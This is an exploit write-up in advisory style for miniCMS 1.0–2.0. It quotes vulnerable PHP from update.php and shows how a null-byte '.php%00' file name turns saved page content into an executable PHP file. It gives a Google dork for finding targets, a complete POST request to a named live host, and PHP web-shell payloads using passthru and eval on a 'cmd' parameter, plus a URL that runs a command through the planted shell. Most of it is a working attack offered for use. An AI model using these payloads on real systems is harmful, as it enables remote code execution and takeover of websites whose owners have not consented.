########################################################################
# Title    : miniCMS v1.0 : v2.0 php inject code
# Author   : Or4nG.M4n
# Version  : all version 
# GDork    : "This site is managed using MiniCMS©"
# Download : http://sourceforge.net/projects/mini-cms/files/mini-cms/
# Thnks :
# +----------------------------------+
# |   xSs m4n   i-Hmx   h311 c0d3    | sp. Cyb3r-Crystal
# |   SarBoT511 ahwak2000 sa^Dev!L   | sp. ahwak2000
# +----------------------------------+
#                       php code injection and bypass addslashes();
# vuln : update.php shell path /content
# vuln : updatenews.php shell path /content/news

$filename = "content/".$pagename.".txt"; <= .php%00
	
		if ($file = fopen($filename, "w"))
		{
			//chmod($filename, 0777);
			if($pagename == "sitemap"){
				$eachline = split("\n", $postTemp["content"]);
				$cleancontent = "";
				foreach($eachline as $el){
					if(trim($el) != ""){
						$cleancontent .= trim($el) . "\n";
					}
				}
				$postTemp["content"] = $cleancontent;
			}
			//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
			if (!get_magic_quotes_gpc()) {
			   $postTemp["content"] = addslashes($postTemp["content"]);
			} 
			fwrite($file, serialize($postTemp));
			fclose($file);
		}
		else
		{
			echo "Unable to open file for writing, please check permissions on content directory";
		}
	}
	else
	{
		$filename = "content/".$area.".txt"; < = .php%00
		if ($file = fopen($filename, "w"))
		{
			chmod($filename, 0777);
			//$postTemp["content"] = str_replace('"', '\"', $postTemp["content"]);
			fwrite($file, $postTemp["content"]);
			fclose($file);
		}
 How i can Use this Exploit
 in your Browser FireFox 
 use add on LIVE HTTP HEADER
 
 in target page [ http://localhost/miniCMS-2.0/index.php?page=1 ] ..
 Replay to : 
 POST : http://www.cmtsystem.com/mCMS/update.php
 Host: localhost
 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-us,en;q=0.5
 Accept-Encoding: gzip, deflate
 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
 Connection: keep-alive
 Referer: http://localhost/miniCMS-2.0/index.php?page=1
 Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 47
 Post this shit : title=1&metadata=1&content=[CODE]&page=thnks-ahwak2000-cyber-crystal.php%00&area=content
 Add Your code php here : [CODE]
 Now how i can bypass addslashes(); inject <?php passthru($_GET[cmd]);?> or <?php eval($_GET[cmd]);?> 
 Don't Forget Referer : http://site/index.php?page=1
 [ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a
 # Thnks to all Stupid Coder
 # The End